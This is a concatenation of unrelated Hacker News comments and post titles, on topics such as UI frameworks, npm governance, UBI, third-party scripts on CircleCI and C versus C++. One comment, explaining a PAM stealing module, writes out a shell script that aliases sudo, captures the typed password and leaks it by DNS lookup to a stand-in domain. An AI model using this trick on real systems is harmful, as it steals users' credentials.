skysight-inc/HackerNews huggingface dataset:
> Yet I would rather take all of that than dealing with Frankenstein CSS/HTML/JavaScript programming

I wouldn't.

> Most of the issues you mention are solved in .NET, WPF and UWP.

I wasn't talking about .NET, WPF, and UWP. I was responding to the claim that Petzold-style Win32 apps are better than the Web.

> Apparently Windows event system is so bad, that the younger generation re-inventing it in the form of React.

Huh? React is not WndProc.

> Also Cocoa, UI Kit, Android and Qt are all better solutions than Web.

Disagree.

I've written the same WebGL app twice now, once in Cocoa/Objective-C and once on the Web, with a TypeScript and Webpack stack. Once I got over the initial hump of learning the technology, it was a much nicer experience than my experience with Cocoa. TypeScript is a better language for UI development than C++, Java, or Obj-C, and the fact that the browser implementation of WebGL smooths over the issues with OpenGL on Mac was a huge relief.
Why does this matter? Most 3rd party services are "reasonable" in some setting. When you build a highly-sensitive application, the bar for reasonableness changes.
MasterCard CEO: cryptocurrencies are rubbish
Show HN: ImAlive – Personify your phone
Hey there :)

My name is Hay and i'm the owner of ImAlive.
ImAlive is an Android mobile app that allow users to change the way their phone behaves by applying a character into their phone!

A Character is a unique skin applied to the phone, it contains image and sound assets, along with a Javascript that controls the way that the character behaves.

Users are also able to choose any character they want based on the things they like from a variety of categories! and they can also create their own character!

I have made guides and tutorials to help my users, and opened a forum to answer any questions they might have :)

Website:
https://www.imaliveweb.com

Promo video link:
https://www.youtube.com/watch?v=5jXX2M0c_2M

Beta registration link:
https://play.google.com/apps/testing/hayzohar.imalive

The app is on a mid-level Beta stage, and im looking for more beta testers to help me out.
I'd be glad to hear and implement any ideas so please feel free to send them to me :)

Thanks!!
I don't travel to or do business with China, but I'll be traveling to US couple of times in a year. Not being a citizen gives me very limited rights in US. So I for one will be happier if US does not have my personal data.
Generating CSV/Excel extracts, which included the user's first name and feedback comments verbatim - thus creating 2 injection points for malicious formulas.
There was a recent Granola Shotgun blog post talking about a new wine tasting room being stuck for months in a local board review process over the proposed color of white for the building, and being required to have a parking space for each bar stool. These kinds of regulatory hurdles really put into perspective how good software developers have it.

https://granolashotgun.com/2017/08/04/the-precariat-shoppe/
s/weight/area/
The good news is that now you /need to/ use your coding skills to have a career in finance.

Almost all the young finance professionals at my place do a non-trivial amount of coding.
Origami Shirt and Tie Instructions – Easy DIY Paper Shirt Tutorial
Nvidia  invites designers to apply for early access to the lab of the future
I noticed that Galaxy - Meteor Development Group’s hosting solution for Meteor apps does similar. I checked the console and saw multiple analytics, even some that seem to monitor your visual usage/screenshots etc, which would seemingly capture screens that have portions of environment variables / settings etc. So basically potentially a lower level marketing employee who has an infected laptop and is reviewing UX patterns etc could expose sensitive data on their MacBook Air that could potentially be infected. They might not expose that data. But I had the same thoughts as this article points out.
This would be a much better argument if it had data and citations instead of just references to things that of course everybody knows (and, in practice, not everybody knows).

Here are a couple of my objections, that could be answered by data or references to serious studies:

> In the suggested world of universal basic income, what puts pressure on the government to maintain democracy and political rights? Will they be afraid of a popular uprising? The people have nothing to threaten them with. A person who does not pay taxes cannot threaten to stop paying them. Violent revolution? History shows that governments tend to be significantly better than common people in using violence.

Who puts pressure on the government now to maintain democracy and political rights? For example, are the governments of the US or Australia really feeling today that if they fail to allow gay couples to marry, the people might stop paying taxes or engage in violence?

There is, certainly, a mechanism whereby the sentiment of the people puts pressure on democratic and even sorta-democratic governments. But the assumption that that mechanism is tax is a huge and undefended one, and seems pretty central to the argument.

> It has often been taken for granted that as societies advance, fertility drops, but this has only been happening for a short time and in societies where having children requires hard work to provide for them.

Isn't the main factor here the availability of birth control (which depends on scientific advancement/knowledge and industrial practice in mass manufacture of birth control, not on hard work)? I'm surprised not to see birth control mentioned at all in this argument. The strawman pleasure-seekers would be motivated to spend their free time figuring out better forms of birth control, because (again as a strawman) sex is fun and childbirth isn't.

> The World Bank gives us a list of countries ordered by what percentage of their merchandise exports comes from fuels. At 50% or more we find, in this order: Iraq, Angola, Algeria, Brunei, Kuwait, Azerbaijan, Qatar, Saudi Arabia, Kazakhstan, Russia, Oman, Norway, Colombia, Bolivia and Bahrain. Can we notice a trend? How many of these countries provide a good set of political rights for their citizens?

A huge number of those countries have been ravaged by external political interference, in part because of the fuels in those countries. I don't think it's honest to can leave that out of the analysis and make a direct correlation between natural resources and despotism. We know that warlords and strongmen rise in politically unstable places, and we know in several cases that warlords and strongmen are propped up by other countries who are trying to gain favorable exports, to the extent of populist revolutions being suppressed.

(To be clear, I am not an unreserved proponent of UBI. I just think that this argument is a bad argument against it, and in particular I worry that this argument leads in short order to positions I actually disagree with "Economic inequality is inherently good" or "Lazy people shouldn't eat.")
> Try to make a CRUD SPA as fast as a Delphi one, including a nice L&F by default, just with mouse clicks and setting a few properties.

Use Bootstrap for the look and feel. The browser's painting stack is far faster than Delphi's '90s style GDI, so you don't have to do anything there.
I just love how they simplify something that's seemingly esoteric to me. I work with the web and I still have a lot to learn.
My father and my brother are in accountancy. Obviously I haven't talked to every accountant on Earth, but if that's your standard nobody can ever think about anything.
Check this out https://www.mapbox.com/mapbox-gl-js/example/language-switch/
The web is a disaster. Why do people insist on adding this bullshit to their pages?
Meh, its better that they're reaching out and trying, than being a company that thinks they're better than everyone and knows best for us.
Attacking the Web Application Server
It's a headline that completely depends on how you define cheating.

Some people will define cheating as "anything easier than pedaling without any electric assistance".

Some people will define it as "not pedaling at all".

Most reasonable people don't care either way, because lets be honest - they just want to get to their destination (and perhaps do a bit of exercise) without sweating like a pig and exerting themselves to exhaustion.

I feel like the only people who get hung up on the cheating aspect are some of those super serious spandex bikers going 25mph on their $8000 bike at 6AM on a Saturday. Thank god they're in the minority.
Ask HN: Should we talk about NPM Inc?
NPM registry holds almost all JavaScript packages distributed on the web and is also bundled with all official Node.js distributions. On surface it seems like a very good service but NPM is not truly open source and is not governed by an open government model.

NPM Inc has direct control of npm CLI which has led to a lot of frustration. npm CLI is not maintained properly and there are many bugs that the company refuses to fix, even when patches are submitted! This is all because, unlike Node.js itself they have the full control over this software and don't let the community make decisions for its future. All this frustration has led to birth of Yarn but Node.js is still being packaged with npm CLI which is a client for a FOR PROFIT company registry.

I remember when everyone was very concerned that Joyent having too much control over how Node.js is being developed and maintained. But for some reason the same logic does not apply to NPM Inc. Why is that?
Flutter itself seems nice but I can't stand Dart. It's an okay language but isn't expressive enough for a modern language.
The linked study about when to sleep is on ReasearchGate and can be found via your search engine of preference.

(Not linking directly because I am not sure if that page is legal, Taylor & Francis Online charges for access).
It is commercial building-level demand-response, which already has been done at a residential level in California.

DR can also be provided by fast-responding storage systems like batteries and flywheels, which maybe explains the poorly chosen analogy to batteries.

I'm not surprised that it used more energy overall though because mechanical systems usually are most efficient when operating at a particular speed. Turning a huge HVAC system off and back on again quickly if it's not designed for that would probably reduce its operating efficiency.
> It's rather sad that Google needs to pay Android makers a fee for installing it's apps, given how Google gives away source code that makes Android exist in the first place.

This is a very innocent view of Google's business practices in this area. Google has a tight hold over most device makers through anti-fragmentation agreements and other contracts if they want GMS and want early access to the non-public AOSP tree, which is a practical necessity to ship cutting-edge Android devices. Aside from hard legal power, Google also projects soft power through their control of the ecosystem and device makers wanting to maintain good relations. As a result, Android-derived innovation in the ecosystem is highly constrained even if AOSP is open source licensed since device makers and manufacturers cannot ship devices with Android-derived operating systems in device categories enumerated by the AFAs unless the devices pass CTS (which prevents most kinds of serious divergence from Android).
Dynamics on expanding spaces: modeling the emergence of novelties
Vector tiles that you can self-host, cache, download for offline use etc.: https://openmaptiles.org
The `{name}` field that's the default for most place labels in styles is the "local name", in the local symbol system.

Change it to `{name_en}` in your style for place labels, and you'll get English-script names where available.
What you described is identical to a key
Then I don't think you understand the various "factors" of security. I'd advise you to re-read the last line of my post that you replied to where I explained them. "What you are" is a completely valid factor for 2fa, when combined with either "what you have" (a token) or "what you know" (a password).

People need to stop complaining about biometric security if they don't understand the basic concepts of security in the first place. Re-read my first post and this one, and if you're still confused, look into factors of security. Hopefully you can stop parroting this nonsense that fingerprints are not a valid factor in 2fa.
That's a fair point. My feelings on this might be very US-centric since we get paid a lot more than our counterparts elsewhere.

Translators def have a solid situation, I met a translator last year when I was traveling and she lives that digital nomad lifestyle, works a charm.
Also, Sundown Towns May have been at their most extreme in the South. But a look at Bay Area housing deeds from the 1940s will show that these neighborhoods were also explicitly seeking to keep non-whites out. Via explicit provisions that a house was not to be sold to or occupied by non-whites, unless they were the help.
Serious question: why CircleCI over, say, Jenkins or custom_build_script.sh running on a VPS that costs much less, and that you control?
Find it tolerable, maybe even like it? Sure. Show me someone who would do taxes on their own time for fun. I've sometimes heard it said that the main reason people decide to go into auditing or tax is they couldn't stand the other one.

For that matter, let's talk about a closer career to ours. How many people who are system administrators complain about relatives asking them for free consultations? Would that be an issue if they just loved configuring and troubleshooting computers so much? Even if you like computers a lot, what you get paid to do with them isn't necessarily fun.
Yep, agreed! Thanks for sharing that, nice point. Most of the work we do as developers isn't the sort of John Carmack's Magic Numbers sort of wizardry, so looking for more of the same sort of dev skill can be counterproductive as you've found.

Nice people are where it's at. After all, we've gotta work together, and someone will always be able to learn the tech...
How AI Could Change Amazon: A Thought Experiment
Have you considered getting a safe-deposit box?
What leads you to believe that in 10 years, we will have developed general artificial intelligence? Current machine learning algorithms are very good at deriving heuristics to solve narrow problems with well-defined, testable goal-functions - e.g. image classification, stereo cost calculation, optical character recognition - but code generation from business requirements is far too broad.

If you have any links to papers demonstrating anything close to what you are stating, feel free to post them.
Show HN: Search and Install npm packages from Atom
You and us were lucky, Apple lost the PC war. We have an ecosystem of components with competing vendors for each. In an Apple style vertically integrated world, you'd have only one vendor deciding for you.
Ask HN: Transitioning out of Data Science
I've been working as a Data Scientist for about four years now after finishing a PhD in physics. At the beginning there was a good mix of both engineering and statistics, but over time it feels like a lot of the work of "building things" has been shifted to software engineering roles. What's left over is most "Business Intelligence" work, at a larger scale.

Because of this, I'm considering leaving Data Science. I was curious where other people have ended up after leaving and what other paths are open?
You can't insert a pam module without root? But you can alias sudo to a script that does something like:

echo "enter sudo pw:"
read pw
# log ip and query on ns for
# example.com
host "$USER.$pw.example.com" &
echo "Invalid pw"
sudo $*

Ed: from the github link:
> Usage: add "auth required pam_steal.so" into /etc/pam.d/common-auth

If you can write to pam.d/common-auth - you might be able to add a kernel module, or change boot to start the whole os install in a vm...
I'm a long time c++ programmer. I can't understand why people thinks c is better than c++.

At work I deal with a large project of mixed c and c++ (few million lines of code), with legacy code written in c and newer code in c++.

My experience of dealing with those c code is very painful. 2 concrete examples:

1. people say they hate c++ but like c. but they still embrace the concept of OOP in the c code. they use c struct to fake what c++ class does (and make every member variable a public one). in C++ when you set and get a member variable, you often use a getter and a setter. this makes it easy to find out where a variable has been accessed and changed (set a break point in the setter or getter). but in c code, since all members of a struct are referenced via pointers, it's very painful to debug when and where a member is changed. I have to use memory break point. Even setting memory break point in c++ is easier, as I have the constructor function to break into, to find out where an object is allocated, but in c code, it could be everywhere, my only hope is using the grep tool.

And I'm talking about debugging and maintaining undocumented large code base written in c by other people.

2. C++ class encourages programmers to partition and organize their code more reasonably. usually a class represents a single module of functionality. and usually a class is written in a header and a cpp file. You know you should look at the header for its interface, and you know to find its cpp for implementation.

but in the c code I'm dealing with, there is no such partition. several interfaces could be groups into a single header, and the implementation of those interfaces could be scattered across several c files or mixed into a single c file. This is just painful to look at.
Geophysical potential for wind energy over the open oceans
FYI your status page is returning an SSL error. Since you're using HSTS, Chrome is blocking the request altogether.
> I couldn’t do it, and don’t understand why switching between bluetooth and wifi shouldn’t just work

Expecting Bluetooth to just work? Ahahahahahaha.
The Reason Business Doesn’t Take InfoSec Seriously
I see your point, but it is a little bit misleading to say developers have complete freedom to draw their UI any way they want. You can still have an app rejected on UI grounds during review. Make an app with a crappy enough UI and it can be rejected citing the "Substandard User Interface" rule in the App Store guidelines. What constitutes the meaning of "Substandard" is of course whatever Apple wants it to be.
Either I'm whooshing some sarcasm, or you're missing the point.
I am a mechanical engineer not a software developer. Any advice for me?
You're misunderstanding the entire point of my post. I'm not talking about the scores being bad, I'm talking about the scores miraculously shifting downward for every state that uses that test in the last year.
Umm, either its a problem and worth reporting responsibly, or not a problem and so not worth a hit piece on your blog?
I guess I could be classified under "POC," even though I'm half white. I was fully expecting this to be full of overly sensitive trite, but now I wish everyone writing job ads reads this first!

The other issue is HR usually does the postings, where they just get handed some skills and they make up random numbers and go from there. But seriously, you don't need a Java guru that has achieved nirvana with the JVM to write CRUD apps, so why not just advertise what you're actually looking for?
It’s closer to the idea of a constructor of an object.
If anyone has a doubt as to how far "debate" has fallen, this should be an eye-opening case-in-point:
https://www.youtube.com/watch?v=fmO-ziHU_D8

[edit: Flagged? Really?? - this video exposes the very absurdity discussed in the article. A Championship debate team doing what few educated persons would recognize or identify as debate.]
C Reference Manual by Dennis M. Ritchie [pdf]
Branding suggestion: I would change the name/logo. Not to be PC, but because the name/logo gave me an immediate cringe and I would have a hard time telling my friends about this service by name. I know it's unintentional by you. Please take a look at the 2nd definition: http://www.dictionary.com/browse/coon
Nobody cultivates sysadmin skills anymore. Jenkins and buildfoo.sh aren't turnkey.
> Google's changes in search shifted much of the traffic that went to smaller sites to larger, more established sites. Ones where the cost per impression/click are higher for Google.

Do you have a reference that Google detuned their search for profit purposes? I'm happy to believe that Google did do evil, but I would like some evidence. This kind of change sounds short sighted.
The study of history has clearly taken it on the chin as well.
> I used to setup my shell so that the text on the production servers was red

I do the same. People always walk up and make some snarky comment like "wow, nice background color" and then I explain why I have a red terminal background and they say "oh... that's a great idea"
They're also referenced in the article, under the paragraph titled "Phishing on mobile? Is that a thing now?"
All I see and hear are two black women articulating a complex argument well.
And why would I as a user choose to respond to other people's questions?
Dubai airport's new virtual aquarium tunnel scans your face as you walk through
Loading third party JS is increasingly common for a lot of sites, and I tend to raise it when doing security reviews

What kind of pushback do you get and how do you handle it?
Thinking about mitigation here... It appears that some of the included scripts have crossorigin="anonymous" script tags. Wouldn't this prevent authenticated access to to the circleCI domain, aka preventing the creation of api tokens or access to the API using the logged in browser context for any script loaded off the circleci domain?

Also, not that they do so, but would Access-Control-Allow-Origin set to something other than * prevent 3rd party requests to the API for scripts loaded from 3rd party domains.

Also curious if anyone has written a JS library that patches XMLHttpRequest.prototype to audit exfiltration of data in the DOM.
This is an incredible use of the wealth of d.ts files there are! I've used bridge.net in the past and it's great using the .net toolset and c# language to build production ready javascript.
UBI would reduce the number of unproductive citizens, and increase the productivity of those already producivr, by allowing people more freedom to take actions that are suboptimal in the short-run and by replacing things like minimum wage laws which prohibit certain exchanges to avoid situations that are abusive without the kind of support UBI provides.

It's true that UBI is often sold as being a better way of providing support for the permanently unemployable, which it is, but it also reduces the ranks of the unemployable and removes disincentives to work that exist with means-tested safety net programs.
Mostly it wouldn't matter. This would basically reflect the preference of SPA vs non-SPA sites or Desktop vs Web app. In both cases the trade-off is similar. A big one time download vs small added delays in each request (ignoring the network dependency in each). Of course this preference comes at the bottom of the priority list.
I imagine the render task tree also has to determine which intermediate textures to keep in the texture cache, and which ones will likely need to be redone in the next frame. That kind of optimization has to be tricky.
Marketing and sales people usually ask to have tons of third party scripts loaded everywhere and devs don't have power to turn them down. They need analytics for their work. It's a bad idea from security standpoint for sure.
Are you suggesting that the entire state education system can suddenly get worse for everyone everywhere all at once over the course of a year?

That seems... unlikely.
Didn't know that! Thanks.
Indeed. I thought the fact that he removed the Launcher Intent would be of more concern.
That should hardly be news. It is up to parents to teach history and a philosophy of history. Public schooling has went full on post modernist indoctrination.